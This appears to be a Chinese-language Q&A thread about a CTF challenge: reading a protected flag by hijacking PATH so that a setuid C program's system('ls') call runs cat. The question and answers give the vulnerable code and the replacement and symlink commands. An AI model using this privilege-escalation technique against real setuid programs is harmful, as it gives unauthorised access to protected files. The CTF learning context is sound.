【问题标题】:How to convert 'ls' command to 'cat' command?如何将“ls”命令转换为“cat”命令?
【发布时间】:2018-04-02 09:55:44
【问题描述】:

我正在尝试解决这个问题,我只能运行 ls 命令,而我的目标是读取标志。有一个易受攻击的 C 代码具有 setuid

    -rwsr-sr-x 1 lameprogrammer lameprogrammer 8579 Sep 15 07:21 vul_c
    -rw-r----- 1 lameprogrammer lameprogrammer  154 Sep 15 07:40 flag

我是用户攻击者,我必须阅读这个标志文件。给定的C代码是

    #include <stdlib.h>
    #include <stdio.h>

    #define FILENAME "/var/challenges/attacker/challenge1/flag"

    int main(void)
    {
        int vert;
        vert = system("ls " FILENAME);
        if(!vert)
            puts("Flag is at " FILENAME " :P ");
        else
            puts("Sorry! no file is there");
    }

我试图将 ls 转换为 cat,这样如果运行,它将读取 flag 文件。为此,我将所有 bin 文件夹复制到本地空间,然后将 ls 替换为 cat,然后导出新的 PATH。从技术上讲,它应该替换并且我的 ls 命令应该像 cat 一样工作,但它不起作用。以下是我的命令:

   cp -r /bin /home/attacker
   cd /home/attacker/bin
   rm ls
   cp cat ls
   export PATH=/home/attacker/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/usr/games

ls 命令不能作为 cat 工作,输出为:

   ls: unrecognized option '--color=auto'
   Try 'ls --help' for more information.

当我尝试运行 ./vul_c 时,它说权限被拒绝,然后它正在打印 对不起!没有文件

对此的任何帮助都会很棒。

【问题讨论】:

  • 但是比赛的重点是你打败了其他人。不是我们打败了他们,而是你把功劳。
  • 比赛结束。我只是想解决这个问题,看看我哪里出错了。
  • 你说“我在玩 CTF 比赛”。我想你可以理解为什么我们可能会认为这意味着你现在正在玩它,而不是你过去未能完成它。
  • ls 的别名可能是ls --color=auto。这是cat 不明白的信息。检查您的 .bashrc 或其他类似的配置文件。
  • @JohnZwinck 对不起我的英语。我搞砸了。

标签: c linux bash shell


【解决方案1】:

你的方向是对的,但你只是为这件小事付出了太多的努力。与其创建程序,不如创建一个符号链接,然后将其指向cat

试试这个步骤:

   ln -s /bin/cat ls

最后,导出这个,我希望你能完成你的解决方案。在这种情况下,您甚至不必担心许可问题。让我知道它是否有效。

【讨论】:

  • 这仅在.$PATH 中位于/bin 之前才有效,这是不应该的。 “最后,导出这个”是什么意思?
【解决方案2】:

程序有效吗?我看到的问题是,如果你在 shell 中使用ls,它有一个别名可以启用着色,即类似于

alias ls='ls --color=auto'

现在这是cat 无法理解的东西。但它只适用于 your shell,而不适用于该脚本运行的 ls 命令,因为它不会使用别名。也许像 unalias ls 这样的东西会在 shell 中有所帮助。

现在,system 函数无法运行您的 ls,因为它没有适当的权限 - 您忘记了 chmod +x ls

【讨论】:

  • 当我使用cp 命令时,它会以可执行权限进行复制。即使我尝试了你的方式并做了chmod +x ls,但问题仍然是一样的。我不能使用ls 命令作为cat 并读取任何普通文件。
  • 暂时将~/.bashrc移开可能会解决问题。
【解决方案3】:

试试下面的命令:

unalias ls

【讨论】:

  • 如果你提供了一些关于如何解决问题的解释,你就不需要填写你的答案了。
猜你喜欢
  • 2021-10-08
  • 2020-02-10
  • 1970-01-01
  • 2021-07-25
  • 2011-03-07
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2017-10-19
相关资源
最近更新 更多